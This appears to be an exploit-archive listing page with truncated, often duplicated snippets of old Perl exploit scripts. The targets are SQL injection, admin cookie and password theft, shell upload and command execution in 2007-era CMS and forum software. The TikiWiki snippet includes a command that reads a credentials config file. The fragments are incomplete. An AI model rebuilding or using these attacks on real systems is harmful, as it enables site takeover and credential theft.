WebPortal CMS 0.6.0 - 'index.php' SQL Injection

!/usr/bin/perl -w WebPortal CMS If we select an inesistent id of a mod, it'll try to include it. So we have a warning error with the hash!. use LWP::UserAgent; if @ARGV new or die "-LWP::UserAgent error.\n"; $b-agent'Mozilla/4.0 compatible; MSIE 7.0; Windows NT 5.1'; print "+Exploiting.\n"; $host...

CCMS 3.1 Demo Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl Found by Pr0metheuS Coded by Pr0metheuS Gr33tz-Team Dork : intitle:"CCMS v3.1 Demo PW" print "\n"; print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n"; print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n"; print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n"...

CCMS 3.1 Demo - SQL Injection

CCMS 3.1 Demo - SQL Injection !/usr/bin/perl Found by Pr0metheuS Coded by Pr0metheuS Gr33tz-Team Dork : intitle:"CCMS v3.1 Demo PW" print "\n"; print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n"; print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n"; print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n"; pri...

CustomCMS 3.1 - vars.php SQL Injection

CustomCMS 3.1 - vars.php SQL Injection source: https://www.securityfocus.com/bid/27069/info CustomCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromis...

CCMS 3.1 Demo - SQL Injection

!/usr/bin/perl Found by Pr0metheuS Coded by Pr0metheuS Gr33tz-Team Dork : intitle:"CCMS v3.1 Demo PW" print "\n"; print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n"; print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n"; print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n"; print "-=-=-=-=-=-=+By...

runcms-sql.txt

// / RUNCMS 1.6 BLIND SQL Injection Exploit get Admin Cookie / // / exploit get admin cookie that can be used / / to login by pasting it into browser Opera / / and then get access to Admin session / / and change Admins password / / / // // / tested on RUNCMS english version 1.6 / // // / Date of...

RunCMS 1.6 - Get Admin Cookie Blind SQL Injection

RunCMS 1.6 - Get Admin Cookie Blind SQL Injection // / RUNCMS 1.6 BLIND SQL Injection Exploit get Admin Cookie / // / exploit get admin cookie that can be used / / to login by pasting it into browser Opera / / and then get access to Admin session / / and change Admins password / / / // // / teste...

phpzlink-sql.txt

!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV3 print "\n \'/ "; print "\n -.- "; print "\n -----------------oOO------OOo----------------"; print "\n | PHP ZLink v0.3 go.php Remote SQL Injection |"; print "\n | coded by DNX |"; print "\n...

FreeWebshop <= 2.2.7 (cookie) Admin Password Grabber Exploit

No description provided by source. !/usr/bin/perl Indonesian Newhack Security Advisory ------------------------------------ FreeWebshop = 2.2.7 - cookie Admin Password Grabber Exploit Waktu : Dec 17 2007 04:50AM Software : FreeWebshop = 2.2.7 Vendor : http://www.freewebshop.org/ Demo Site :...

freewebshop-passwd.txt

!/usr/bin/perl Indonesian Newhack Security Advisory ------------------------------------ FreeWebshop = 2.2.7 - cookie Admin Password Grabber Exploit Waktu : Dec 17 2007 04:50AM Software : FreeWebshop = 2.2.7 Vendor : http://www.freewebshop.org/ Demo Site : http://www.freewebshop.org/demo/ Ditemuk...

FreeWebShop 2.2.7 - 'cookie' Admin Password Grabber

!/usr/bin/perl Indonesian Newhack Security Advisory ------------------------------------ FreeWebshop = 2.2.7 - cookie Admin Password Grabber Exploit Waktu : Dec 17 2007 04:50AM Software : FreeWebshop = 2.2.7 Vendor : http://www.freewebshop.org/ Demo Site : http://www.freewebshop.org/demo/ Ditemuk...

MonAlbum 0.87 Upload Shell / Password Grabber Exploit

No description provided by source. !/usr/bin/env perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; use Getopt::Std; my %args, $user, $password, $sqlhost, $sqluser, $sqlpassword, $cookie, $path, $file, $upload = ; my $tmp = 'cmd1.jpg'; getopts"u:a:f:p:", %args; -a don't...

MonAlbum 0.87 Upload Shell / Password Grabber Exploit

Exploit for unknown platform in category web applications ===================================================== MonAlbum 0.87 Upload Shell / Password Grabber Exploit ===================================================== !/usr/bin/env perl use strict; use warnings; use LWP::UserAgent; use...

MonAlbum 0.87 - Arbitrary File Upload / Password Grabber

!/usr/bin/env perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; use Getopt::Std; my %args, $user, $password, $sqlhost, $sqluser, $sqlpassword, $cookie, $path, $file, $upload = ; my $tmp = 'cmd1.jpg'; getopts"u:a:f:p:", %args; -a don't retrieve login and passwords, use...

SMF 1.1.3 Extremely fast Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl Written By Michael Brooks contact: th3dotr00katgmaildotcom SMF 1.1.3 Extremely fast Blind SQL Injection Exploit! -Binary Search -Multi-Threaded -NO benchmark's Two SQL Injection flaws. Works with magicquotesgpc=On or Off. Total Bypass of SMF's SQL...

smf-blind.txt

SMF is a very hardened php application. If anyone wants an example of some interesting PHP security SMF is a good place to look. Even after being able to injection SQL I had to take another step and bypass some difficult filters found in the dbquery function. Ultimately i was able to do so. This...

smf-sql.txt

!/usr/bin/perl Written By Michael Brooks contact: th3dotr00katgmaildotcom SMF 1.1.3 Extremely fast Blind SQL Injection Exploit! -Binary Search -Multi-Threaded -NO benchmark's Two SQL Injection flaws. Works with magicquotesgpc=On or Off. Total Bypass of SMF's SQL Injection filter. I submitted a...

BBPortalS 2.0 - Blind SQL Injection

BBPortalS 2.0 - Blind SQL Injection BBPortalS BBsProcesS Remote Blind SQL Injection Exploit Bug Found And Write By Max007 Exploit Tested On V.1.5.10 And V.1.6.2 And 1.5.11 info:For The Version BBPortalS 2.0 name of field is user and password but you have to find name of table !/usr/bin/perl use...

tikiwiki-exec.txt

!/usr/bin/perl TikiWiki $Id: milw0rmtikiwiki.pl,v 0.1 2007/10/12 13:25:08 str0ke Exp $ use strict; use LWP::UserAgent; my $target = shift || &usage; my $proxy = shift; my $command; &exploit$target, "cat db/local.php", $proxy; print "? php shell it?\n"; print " wget...

TikiWiki 1.9.8 - tiki-graph_formula.php Command Execution

TikiWiki 1.9.8 - tiki-graphformula.php Command Execution !/usr/bin/perl TikiWiki $Id: milw0rmtikiwiki.pl,v 0.1 2007/10/12 13:25:08 str0ke Exp $ use strict; use LWP::UserAgent; my $target = shift || &usage; my $proxy = shift; my $command; &exploit$target, "cat db/local.php", $proxy; print "? php...